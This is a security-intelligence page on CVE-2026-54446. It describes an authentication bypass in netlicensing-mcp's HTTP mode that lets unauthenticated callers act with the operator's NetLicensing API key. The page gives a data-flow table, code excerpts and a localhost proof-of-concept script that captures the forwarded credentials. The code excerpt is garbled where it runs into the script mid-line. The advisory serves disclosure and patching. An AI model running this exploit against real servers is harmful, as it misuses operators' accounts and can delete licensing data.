KEVWire

Security intelligence, with context.

Response snapshot Oct 26, 2026, 22:02 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-54446

NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`).

At a glance

Exploited
Not known
Severity
8.1 High (CVSS 3.1)
Chance of exploitation
0.6% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: netlicensing-mcp: 0.1.6. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-x9vc-9ffq-p3gj (opens a new tab)

What happened

## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

### Summary

When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.

py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.

Continue reading

### Details

The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter.

However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.

The downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv("NETLICENSING_API_KEY", "")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable.

The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).

The complete exploitable data flow is:

| Step | Location | Description | |------|----------|-------------| | 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` | | 2 | `server.py:1431` | `ApiKeyMiddleware` registered | | 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query | | 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` | | 5 | `server.

py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) | | 6 | `tools/products.py:9,17` | Tool delegates to `nl_get("/product", ...)` | | 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var | | 8 | `client.py:62–70` | `Authorization: Basic base64("apiKey: ")` constructed | | 9 | `client.py:105,109` | **Upstream sink**: `client.

get(url, headers=_headers(), ...)` executed |

Critical code excerpts:

```python # src/netlicensing_mcp/server.py 1418: if not key: 1419: key = request.query_params.get("apikey") 1421: if key: 1422: token = api_key_ctx.set(key) ... 1427: return await call_next(request) # ") entry = { "method": self.command, "path": self.path, "authorization": auth, } captured_requests.append(entry) print( f"[MOCK_UPSTREAM] {self.command} {self.path} " f"Authorization={auth}", flush=True, ) self.

send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps({"items": {"item": []}}).encode())

do_GET = _handle do_POST = _handle do_PUT = _handle

def log_message(self, *args): pass

def _run_mock(port: int) -> None: srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler) mock_ready.set() srv.serve_forever()

# ─── Helpers ─────────────────────────────────────────────────────────────────

def _decode_basic(header: str) -> str | None: if not header.startswith("Basic "): return None try: return base64.b64decode(header[6:]).decode() except Exception: return None

async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool: """Poll until the MCP /health endpoint responds or timeout.""" import httpx deadline = time.monotonic() + timeout while time.monotonic() None: # 1. Start mock upstream t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True) t.start() mock_ready.wait(timeout=5) print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)

# 2. Launch vulnerable MCP server in HTTP mode with server-side API key env = os.environ.copy() env.update({ "NETLICENSING_API_KEY": SERVER_API_KEY, "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest", "MCP_HOST": "127.0.0.1", "MCP_PORT": str(MCP_PORT), }) proc = subprocess.Popen( [sys.executable, "-m", "netlicensing_mcp.server", "http"], env=env, cwd="/app/repo", stdout=subprocess.

PIPE, stderr=subprocess.PIPE, ) print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)

ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15) if not ready: # /health may not exist; just wait a fixed time print("[*] /health not responding — waiting 5 s anyway ...", flush=True) await asyncio.sleep(5)

if proc.poll() is not None: _, err = proc.communicate() print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True) sys.exit(1)

print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)

# 3. Attack: connect WITHOUT any API key and invoke a tool print( "\n[ATTACK] Sending MCP tool call to netlicensing_list_products " "with NO client API key ...", flush=True, ) try: from mcp import ClientSession from mcp.client.streamable_http import streamablehttp_client

async with streamablehttp_client( f"http://127.0.0.1:{MCP_PORT}/mcp" ) as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() result = await session.call_tool( "netlicensing_list_products", {"filter": ""} ) print(f"[*] Tool call succeeded: {result}", flush=True) except Exception as exc: print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True) finally: proc.terminate()

Affected package ranges reported by GitHub: netlicensing-mcp: <= 0.1.5

Scores and how they were measured

CVSS base severity

8.1

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.6%

Scored Percentile 49.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-x9vc-9ffq-p3gj (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x9vc-9ffq-p3gj, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-54446, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode (CVE-2026-54446). https://kevwire.com/record/CVE-2026-54446

MLA

"NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode (CVE-2026-54446)." KEVWire, 22 Oct. 2026, kevwire.com/record/CVE-2026-54446.

Chicago

KEVWire. "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode (CVE-2026-54446)." Last modified October 22, 2026. https://kevwire.com/record/CVE-2026-54446.

Evidence summary (plain text)

NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode (Jul 14, 2026).
When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.

The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-x9vc-9ffq-p3gj).
EPSS 0.6% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-x9vc-9ffq-p3gj: https://github.com/advisories/GHSA-x9vc-9ffq-p3gj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54446&date=2026-10-26
Record ID: CVE-2026-54446.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail